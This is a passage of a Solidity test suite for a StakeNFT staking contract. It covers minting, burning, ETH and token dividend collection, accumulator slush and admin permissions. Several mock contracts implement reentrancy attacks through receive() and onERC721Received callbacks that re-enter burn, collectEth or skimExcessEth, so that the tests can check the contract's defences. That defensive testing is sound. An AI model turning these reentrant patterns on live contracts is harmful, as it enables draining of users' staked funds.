function collectEth(uint256 tokenID_) public returns (uint256 payout) {
return stakeNFT.collectEth(tokenID_);
}
function approveNFT(address to, uint256 tokenID_) public{
return stakeNFT.approve(to, tokenID_);
}
function setApprovalForAll(address to, bool approve_) public{
return stakeNFT.setApprovalForAll(to, approve_);
}
function transferFrom(address from, address to, uint256 tokenID_) public {
return stakeNFT.transferFrom(from, to, tokenID_);
}
function safeTransferFrom(address from, address to, uint256 tokenID_, bytes calldata data) public {
return stakeNFT.safeTransferFrom(from, to, tokenID_, data);
}
function lockWithdraw(uint256 tokenID, uint256 lockDuration) public returns(uint256) {
return stakeNFT.lockWithdraw(tokenID, lockDuration);
}
}
contract AdminAccount is BaseMock {
constructor() {}
function tripCB() public {
stakeNFT.tripCB();
}
function setGovernance(address governance_) public {
stakeNFT.setGovernance(governance_);
}
function skimExcessEth(address to_) public returns(uint256 excess) {
return stakeNFT.skimExcessEth(to_);
}
function skimExcessToken(address to_) public returns(uint256 excess) {
return stakeNFT.skimExcessToken(to_);
}
}
contract GovernanceAccount is BaseMock {
constructor() {}
function lockPosition(
address caller_,
uint256 tokenID_,
uint256 lockDuration_
) public {
stakeNFT.lockPosition(caller_, tokenID_, lockDuration_);
}
}
contract UserAccount is BaseMock {
constructor() {}
}
contract ReentrantLoopEthCollectorAccount is BaseMock {
uint256 tokenID;
constructor() {}
receive() external payable virtual override {
collectEth(tokenID);
}
function setTokenID(uint256 tokenID_) public {
tokenID = tokenID_;
}
}
contract ReentrantFiniteEthCollectorAccount is BaseMock {
uint256 tokenID;
uint256 public _count = 0;
constructor() {}
receive() external payable virtual override {
if (_count < 2) {
_count++;
collectEth(1);
} else {
return;
}
}
function setTokenID(uint256 tokenID_) public {
tokenID = tokenID_;
}
}
contract ReentrantLoopBurnAccount is BaseMock {
uint256 tokenID;
constructor() {}
receive() external payable virtual override {
burn(tokenID);
}
function setTokenID(uint256 tokenID_) public {
tokenID = tokenID_;
}
}
contract ReentrantFiniteBurnAccount is BaseMock {
uint256 tokenID;
uint256 public _count = 0;
constructor() {}
receive() external payable virtual override {
if (_count < 2) {
_count++;
burn(tokenID);
} else {
return;
}
}
function setTokenID(uint256 tokenID_) public {
tokenID = tokenID_;
}
}
contract ERC721ReceiverAccount is BaseMock, IERC721Receiver {
constructor() {}
// receive() external payable virtual override {
// }
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override pure returns (bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
contract ReentrantLoopBurnERC721ReceiverAccount is BaseMock, IERC721Receiver {
uint256 _tokenId;
constructor() {}
receive() external payable virtual override {
stakeNFT.burn(_tokenId);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
_tokenId = tokenId;
stakeNFT.burn(tokenId);
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
contract ReentrantFiniteBurnERC721ReceiverAccount is BaseMock, IERC721Receiver {
uint256 _tokenId;
uint256 _count = 0;
constructor() {}
receive() external payable virtual override {
stakeNFT.burn(_tokenId);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
if (_count < 2) {
_count++;
_tokenId = tokenId;
stakeNFT.burn(tokenId);
}
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
contract ReentrantLoopCollectEthERC721ReceiverAccount is BaseMock, IERC721Receiver {
uint256 _tokenId;
constructor() {}
receive() external payable virtual override {
stakeNFT.collectEth(_tokenId);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
_tokenId = tokenId;
stakeNFT.collectEth(tokenId);
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
contract AdminAccountReEntrant is BaseMock {
uint256 public _count = 0;
constructor() {}
function skimExcessEth(address to_) public returns(uint256 excess) {
return stakeNFT.skimExcessEth(to_);
}
receive() external payable virtual override {
if (_count < 2) {
_count++;
stakeNFT.skimExcessEth(address(this));
} else {
return;
}
}
}
contract StakeNFTHugeAccumulator is StakeNFT {
uint256 public constant offsetToOverflow = 1_000000000000000000;
constructor(
IERC20Transfer MadToken_,
address admin_,
address governance_
) StakeNFT(MadToken_, admin_, governance_) {
_tokenState.accumulator = uint256(type(uint168).max - offsetToOverflow);
_ethState.accumulator = uint256(type(uint168).max - offsetToOverflow);
}
function getOffsetToOverflow() public pure returns (uint256) {
return offsetToOverflow;
}
}
contract StakeNFTTest is DSTest {
function getFixtureData()
internal
returns (
StakeNFT stakeNFT,
MadTokenMock madToken,
AdminAccount admin,
GovernanceAccount governance
)
{
governance = new GovernanceAccount();
admin = new AdminAccount();
madToken = new MadTokenMock(address(this));
stakeNFT = new StakeNFT(
IERC20Transfer(address(madToken)),
address(admin),
address(governance)
);
admin.setTokens(madToken, stakeNFT);
governance.setTokens(madToken, stakeNFT);
}
function getFixtureDataWithHugeAccumulator()
internal
returns (
StakeNFTHugeAccumulator stakeNFT,
MadTokenMock madToken,
AdminAccount admin,
GovernanceAccount governance
)
{
governance = new GovernanceAccount();
admin = new AdminAccount();
madToken = new MadTokenMock(address(this));
stakeNFT = new StakeNFTHugeAccumulator(
IERC20Transfer(address(madToken)),
address(admin),
address(governance)
);
admin.setTokens(madToken, stakeNFT);
governance.setTokens(madToken, stakeNFT);
}
function getFixtureDataAdminReEntrant()
internal
returns (
StakeNFT stakeNFT,
MadTokenMock madToken,
AdminAccountReEntrant admin,
GovernanceAccount governance
)
{
governance = new GovernanceAccount();
admin = new AdminAccountReEntrant();
madToken = new MadTokenMock(address(this));
stakeNFT = new StakeNFT(
IERC20Transfer(address(madToken)),
address(admin),
address(governance)
);
admin.setTokens(madToken, stakeNFT);
governance.setTokens(madToken, stakeNFT);
}
function newUserAccount(MadTokenMock madToken, StakeNFT stakeNFT)
private
returns (UserAccount acct)
{
acct = new UserAccount();
acct.setTokens(madToken, stakeNFT);
}
function setBlockNumber(uint256 bn) internal returns (bool) {
// https://github.com/dapphub/dapptools/tree/master/src/hevm#cheat-codes
address externalContract = address(
0x7109709ECfa91a80626fF3989D68f67F5b1DD12D
);
(bool success, /*bytes memory returnedData*/) = externalContract.call(
abi.encodeWithSignature("roll(uint256)", bn)
);
return success;
}
function getCurrentPosition(StakeNFT stakeNFT, uint256 tokenID)
internal view
returns (StakeNFT.Position memory actual)
{
(
uint256 shares,
uint256 freeAfter,
uint256 withdrawFreeAfter,
uint256 accumulatorEth,
uint256 accumulatorToken
) = stakeNFT.getPosition(tokenID);
actual = StakeNFT.Position(
uint224(shares),
uint32(freeAfter),
uint32(withdrawFreeAfter),
accumulatorEth,
accumulatorToken
);
}
function assertPosition(
StakeNFT.Position memory p,
StakeNFT.Position memory expected
) internal {
assertEq(p.shares, expected.shares);
assertEq(p.freeAfter, expected.freeAfter);
assertEq(p.withdrawFreeAfter, expected.withdrawFreeAfter);
assertEq(p.accumulatorEth, expected.accumulatorEth);
assertEq(p.accumulatorToken, expected.accumulatorToken);
}
function assertTokenAccumulator(StakeNFT stakeNFT, uint256 expectedAccumulator, uint256 expectedSlush) internal {
(uint256 acc, uint256 slush) = stakeNFT.getTokenAccumulator();
assertEq(acc, expectedAccumulator);
assertEq(slush, expectedSlush);
}
function assertEthAccumulator(StakeNFT stakeNFT, uint256 expectedAccumulator, uint256 expectedSlush) internal {
(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, expectedAccumulator);
assertEq(slush, expectedSlush);
}
function assertReserveAndExcessZero(StakeNFT stakeNFT, uint256 reserveAmountToken, uint256 reserveAmountEth) internal{
assertEq(stakeNFT.getTotalReserveMadToken(), reserveAmountToken);
assertEq(stakeNFT.getTotalReserveEth(), reserveAmountEth);
assertEq(stakeNFT.estimateExcessToken(), 0);
assertEq(stakeNFT.estimateExcessEth(), 0);
}
function assertReserveAndExcess(StakeNFT stakeNFT, uint256 reserveAmountToken, uint256 reserveAmountEth, uint256 excessToken, uint256 excessEth ) internal{
assertEq(stakeNFT.getTotalReserveMadToken(), reserveAmountToken);
assertEq(stakeNFT.getTotalReserveEth(), reserveAmountEth);
assertEq(stakeNFT.estimateExcessToken(), excessToken);
assertEq(stakeNFT.estimateExcessEth(), excessEth);
}
function testAdminTripCBAndChangeGovernance() public {
(, , AdminAccount admin, ) = getFixtureData();
admin.tripCB();
admin.setGovernance(address(0x0));
}
function testFail_noAdminTripCB() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.tripCB();
}
function testFail_noAdminSetGovernance() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.setGovernance(address(0x0));
}
function testFail_noAdminSkimExcessEth() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.skimExcessEth(address(0));
}
function testFail_noAdminSkimExcessToken() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.skimExcessToken(address(0));
}
function testFail_noGovernanceLockPosition() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.lockPosition(address(0x0), 0, 0);
}
function testFail_tripCBDepositEth() public {
(StakeNFT stakeNFT, , AdminAccount admin, ) = getFixtureData();
admin.tripCB(); // open CB
stakeNFT.depositEth(42);
}
function testFail_tripCBMint() public {
(StakeNFT stakeNFT, , AdminAccount admin, ) = getFixtureData();
admin.tripCB(); // open CB
stakeNFT.mint(100);
}
function testFail_tripCBMintTo() public {
(StakeNFT stakeNFT, , AdminAccount admin, ) = getFixtureData();
admin.tripCB(); // open CB
stakeNFT.mintTo(address(0x0), 100, 0);
}
function testFail_tripCBLockPosition() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
AdminAccount admin,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
stakeNFT.mintTo(address(user), 1000, 0);
admin.tripCB(); // open CB
governance.lockPosition(address(0x0), 100, 0);
}
function testFail_tripDepositToken() public {
(StakeNFT stakeNFT, , AdminAccount admin, ) = getFixtureData();
admin.tripCB(); // open CB
stakeNFT.depositToken(42, 100);
}
function testFail_getPositionThatDoesNotExist() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
getCurrentPosition(stakeNFT, 4);
}
function testBasicERC721() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
assertEq(stakeNFT.name(), "MNStake");
assertEq(stakeNFT.symbol(), "MNS");
}
function testDeposit() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
madToken.approve(address(stakeNFT), 100000);
stakeNFT.depositToken(42, 100000);
stakeNFT.depositEth{value: 10 ether}(42);
assertEq(madToken.balanceOf(address(stakeNFT)), 100000);
assertEq(address(stakeNFT).balance, 10 ether);
assertReserveAndExcessZero(stakeNFT, 100000, 10 ether);
}
function testFail_DepositTokenWithWrongMagicNumber() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
madToken.approve(address(stakeNFT), 100000);
stakeNFT.depositToken(41, 100000);
}
function testFail_DepositEthWithWrongMagicNumber() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.depositEth{value: 10 ether}(41);
}
function testMint() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mint(1000);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(this)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(this));
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
}
function testMintManyTokensSameUser() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
madToken.approve(address(stakeNFT), 1000);
for (uint256 i = 0; i < 10; i++) {
uint256 tokenID = stakeNFT.mint(100);
assertEq(stakeNFT.ownerOf(tokenID), address(this));
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(100, 1, 1, 0, 0)
);
}
assertEq(stakeNFT.balanceOf(address(this)), 10);
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
}
function testFail_MintWithoutApproval() public {
(StakeNFT stakeNFT,,,) = getFixtureData();
stakeNFT.mint(1000);
}
function testFail_MintMoreMadTokensThanPossible() public {
(StakeNFT stakeNFT, , , ) = getFixtureData();
stakeNFT.mint(2**32);
}
function testMintTo_WithoutLock() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
}
function testMintTo_WithLock() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 10);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 10, 10, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
}
function testFail_MintToMoreMadTokensThanPossible() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
stakeNFT.mintTo(address(user), 2**32, 1);
}
function testFail_MintToWithoutApproval() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
stakeNFT.mintTo(address(user), 100, 1);
}
function testFail_MintToWithInvalidLockHeight() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 1000);
user.approve(address(stakeNFT), 1000);
stakeNFT.mintTo(address(user), 100, 1051200 + 1);
}
// mint+burn
function testFail_BurningRightAfterMinting() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 1000);
user.approve(address(stakeNFT), 1000);
uint256 tokenID = user.mint(1000);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 1000);
user.burn(tokenID);
}
function testMintAndBurn() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 1000);
user.approve(address(stakeNFT), 1000);
uint256 tokenID = user.mint(1000);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 1000);
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
setBlockNumber(block.number + 2);
(uint256 payoutEth, uint256 payoutToken) = user.burn(tokenID);
assertEq(payoutEth, 0);
assertEq(payoutToken, 1000);
assertReserveAndExcessZero(stakeNFT, 0, 0 ether);
assertEq(madToken.balanceOf(address(user)), 1000);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
}
// mint+burnTo
function testMintAndBurnTo() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 1000);
user.approve(address(stakeNFT), 1000);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
uint256 tokenID = user.mint(1000);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(user2)), 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 1000);
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
setBlockNumber(block.number + 2);
(uint256 payoutEth, uint256 payoutToken) = user.burnTo(
address(user2),
tokenID
);
assertEq(payoutEth, 0);
assertEq(payoutToken, 1000);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(user2)), 1000);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertReserveAndExcessZero(stakeNFT, 0, 0 ether);
}
// mintTo + burn
function testMintToAndBurn() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 1000);
user.approve(address(stakeNFT), 1000);
uint256 tokenID = user.mintTo(address(user2), 1000, 1);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(user2)), 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 1000);
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
setBlockNumber(block.number + 2);
(uint256 payoutEth, uint256 payoutToken) = user2.burn(tokenID);
assertEq(payoutEth, 0);
assertEq(payoutToken, 1000);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(user2)), 1000);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertReserveAndExcessZero(stakeNFT, 0, 0 ether);
}
// mintTo + burnTo
function testMintToAndBurnTo() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
UserAccount user3 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 1000);
user.approve(address(stakeNFT), 1000);
uint256 tokenID = user.mintTo(address(user2), 1000, 1);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(user2)), 0);
assertEq(madToken.balanceOf(address(user3)), 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 1000);
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
setBlockNumber(block.number + 2);
(uint256 payoutEth, uint256 payoutToken) = user2.burnTo(
address(user3),
tokenID
);
assertEq(payoutEth, 0);
assertEq(payoutToken, 1000);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(user2)), 0);
assertEq(madToken.balanceOf(address(user3)), 1000);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertReserveAndExcessZero(stakeNFT, 0, 0 ether);
}
// mintTo + burnTo + lock 10 blocks
function testMintToAndBurnToWithLocking() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
UserAccount user3 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 1000);
user.approve(address(stakeNFT), 1000);
uint256 tokenID = user.mintTo(address(user2), 1000, 10);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 10, 10, 0, 0)
);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(user2)), 0);
assertEq(madToken.balanceOf(address(user3)), 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 1000);
assertReserveAndExcessZero(stakeNFT, 1000, 0 ether);
setBlockNumber(block.number + 11);
(uint256 payoutEth, uint256 payoutToken) = user2.burnTo(
address(user3),
tokenID
);
assertEq(payoutEth, 0);
assertEq(payoutToken, 1000);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(user2)), 0);
assertEq(madToken.balanceOf(address(user3)), 1000);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertReserveAndExcessZero(stakeNFT, 0, 0 ether);
}
function test_SharesInvariance() public {
(StakeNFT stakeNFT, MadTokenMock madToken,,) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(donator), 10000000 * ONE_MADTOKEN);
donator.approve(address(stakeNFT), 10000000 * ONE_MADTOKEN);
payable(address(donator)).transfer(100000 ether);
UserAccount[50] memory users;
uint256 shares=0;
// Minting a lot
for (uint256 i=0; i < 50; i++){
users[i] = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(users[i]), (1_000_000 * ONE_MADTOKEN)+i);
users[i].approve(address(stakeNFT), (1_000_000 * ONE_MADTOKEN)+i);
users[i].mint((1_000_000 * ONE_MADTOKEN)+i);
shares += (1_000_000 * ONE_MADTOKEN)+i;
}
assertEq(shares, stakeNFT.getTotalShares());
assertReserveAndExcessZero(stakeNFT, shares, 0 ether);
setBlockNumber(block.number+2);
// burning some of the NFTs
for (uint256 i=0; i < 50; i++){
if (i % 3 == 0){
users[i].burn(i+1);
shares -= (1_000_000 * ONE_MADTOKEN)+i;
}
}
assertReserveAndExcessZero(stakeNFT, shares, 0 ether);
assertEq(shares, stakeNFT.getTotalShares());
}
function test_SlushFlushIntoAccumulator() public {
(StakeNFT stakeNFT, MadTokenMock madToken,,) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
UserAccount user3 = newUserAccount(madToken, stakeNFT);
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100);
madToken.transfer(address(user2), 100);
madToken.transfer(address(user3), 100);
madToken.transfer(address(donator), 100000 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 100);
user2.approve(address(stakeNFT), 100);
user3.approve(address(stakeNFT), 100);
donator.approve(address(stakeNFT), 100000 * ONE_MADTOKEN);
payable(address(donator)).transfer(1000 ether);
uint256 sharesPerUser = 10;
uint256 tokenID1 = user1.mint(sharesPerUser);
uint256 tokenID2 = user2.mint(sharesPerUser);
uint256 tokenID3 = user3.mint(sharesPerUser);
assertReserveAndExcessZero(stakeNFT, 30, 0 ether);
setBlockNumber(block.number+2);
uint256 credits = 0;
uint256 debits = 0;
for (uint256 i =0; i < 2; i++){
donator.depositEth(1000);
credits += 1000;
uint256 payout = user1.collectEth(tokenID1);
assertEq(payout, 333);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
assertEq(payout2, 333);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
assertEq(payout3, 333);
debits += payout3;
}
{
emit log_named_uint("Balance ETH: ", address(stakeNFT).balance);
(, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(slush, (credits - debits) * 10**18);
assertReserveAndExcessZero(stakeNFT, 30, (credits - debits));
}
{
donator.depositEth(2000);
credits += 2000;
assertReserveAndExcessZero(stakeNFT, 30, (credits - debits));
uint256 payout = user1.collectEth(tokenID1);
assertEq(payout, 667);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
assertEq(payout2, 667);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
assertEq(payout3, 667);
debits += payout3;
emit log_named_uint("Balance ETH After: ", address(stakeNFT).balance);
(, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(slush, (credits - debits) * 10**18);
assertEq(slush, 1 ether);
}
{
assertReserveAndExcessZero(stakeNFT, 30, (credits - debits));
}
}
function test_SlushInvariance() public {
(StakeNFT stakeNFT, MadTokenMock madToken,,) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
UserAccount user3 = newUserAccount(madToken, stakeNFT);
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 3333);
madToken.transfer(address(user2), 111);
madToken.transfer(address(user3), 7);
madToken.transfer(address(donator), 100000 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 3333);
user2.approve(address(stakeNFT), 111);
user3.approve(address(stakeNFT), 7);
donator.approve(address(stakeNFT), 100000 * ONE_MADTOKEN);
payable(address(donator)).transfer(10000000000 ether);
uint256 tokenID1 = user1.mint(3333);
uint256 tokenID2 = user2.mint(111);
uint256 tokenID3 = user3.mint(7);
assertReserveAndExcessZero(stakeNFT, 3333 + 111 + 7, 0 ether);
setBlockNumber(block.number+2);
uint256 credits = 0;
uint256 debits = 0;
{
for (uint256 i =0; i < 37; i++){
donator.depositEth(7 ether);
credits += 7 ether;
uint256 payout = user1.collectEth(tokenID1);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
debits += payout3;
}
{
emit log_named_uint("Balance ETH: ", address(stakeNFT).balance);
(, uint256 slush) = stakeNFT.getEthAccumulator();
// As long as all the users have withdrawal their dividends this should hold true
assertEq(slush, (credits - debits) * 10**18);
assertReserveAndExcessZero(stakeNFT, 3333 + 111 + 7, (credits - debits));
}
{
donator.depositEth(credits);
credits += credits;
uint256 payout = user1.collectEth(tokenID1);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
debits += payout3;
(, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(slush, (credits - debits) * 10**18);
assertReserveAndExcessZero(stakeNFT, 3333 + 111 + 7, (credits - debits));
}
}
{
donator.depositEth(13457811);
credits += 13457811;
uint256 payout = user1.collectEth(tokenID1);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
debits += payout3;
(, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(slush, (credits - debits) * 10**18);
assertReserveAndExcessZero(stakeNFT, 3333 + 111 + 7, (credits - debits));
}
{
donator.depositEth(1381_209873167895423687);
credits += 1381_209873167895423687;
uint256 payout = user1.collectEth(tokenID1);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
debits += payout3;
(, uint256 slush) = stakeNFT.getEthAccumulator();
// As long as all the users have withdrawal their dividends this should hold true
assertEq(slush, (credits - debits) * 10**18);
assertReserveAndExcessZero(stakeNFT, 3333 + 111 + 7, (credits - debits));
}
{
donator.depositEth(1111_209873167895423687);
credits += 1111_209873167895423687;
uint256 payout = user1.collectEth(tokenID1);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
debits += payout2;
donator.depositEth(11_209873167895423687);
credits += 11_209873167895423687;
payout = user1.collectEth(tokenID1);
debits += payout;
donator.depositEth(156_209873167895423687);
credits += 156_209873167895423687;
payout = user1.collectEth(tokenID1);
debits += payout;
payout2 = user2.collectEth(tokenID2);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
debits += payout3;
(, uint256 slush) = stakeNFT.getEthAccumulator();
// As long as all the users have withdrawal their dividends this should hold true
assertEq(slush, (credits - debits) * 10**18);
assertReserveAndExcessZero(stakeNFT, 3333 + 111 + 7, (credits - debits));
}
}
function test_CollectTokensAndBurnPositionWithMultipleUsersSameProportion() public {
(StakeNFT stakeNFT, MadTokenMock madToken,,) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
UserAccount user3 = newUserAccount(madToken, stakeNFT);
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100);
madToken.transfer(address(user2), 100);
madToken.transfer(address(user3), 100);
madToken.transfer(address(donator), 100000);
user1.approve(address(stakeNFT), 100);
user2.approve(address(stakeNFT), 100);
user3.approve(address(stakeNFT), 100);
donator.approve(address(stakeNFT), 100000);
payable(address(donator)).transfer(1000 ether);
setBlockNumber(block.number+2);
uint256 sharesPerUser = 100;
uint256 tokenID1 = user1.mint(sharesPerUser);
assertPosition(
getCurrentPosition(stakeNFT, tokenID1),
StakeNFT.Position(100, 1, 1, 0, 0)
);
assertReserveAndExcessZero(stakeNFT, 100, 0 ether);
{
(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, 0);
assertEq(slush, 0);
(acc, slush) = stakeNFT.getTokenAccumulator();
assertEq(acc, 0);
assertEq(slush, 0);
}
donator.depositToken(50);
assertReserveAndExcessZero(stakeNFT, 150, 0 ether);
{
(uint256 acc, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(acc, 0);
assertEq(slush, 0);
(acc, slush) = stakeNFT.getTokenAccumulator();
assertEq(
acc,
(50 * stakeNFT.accumulatorScaleFactor()) / sharesPerUser
);
assertEq(acc, 500000000000000000);
assertEq(slush, 0);
assertEq(
slush + (acc * sharesPerUser),
50 * stakeNFT.accumulatorScaleFactor()
);
}
{
uint256 stakeBalance = madToken.balanceOf(address(stakeNFT));
assertEq(stakeBalance, 150);
uint256 payout = stakeNFT.estimateTokenCollection(tokenID1);
assertEq(payout, 50);
payout = user1.collectToken(tokenID1);
assertEq(payout, 50);
assertEq(madToken.balanceOf(address(user1)), 50);
assertEq(madToken.balanceOf(address(stakeNFT)), 100);
assertReserveAndExcessZero(stakeNFT, 100, 0 ether);
assertEq(
madToken.balanceOf(address(stakeNFT)),
stakeBalance - payout
);
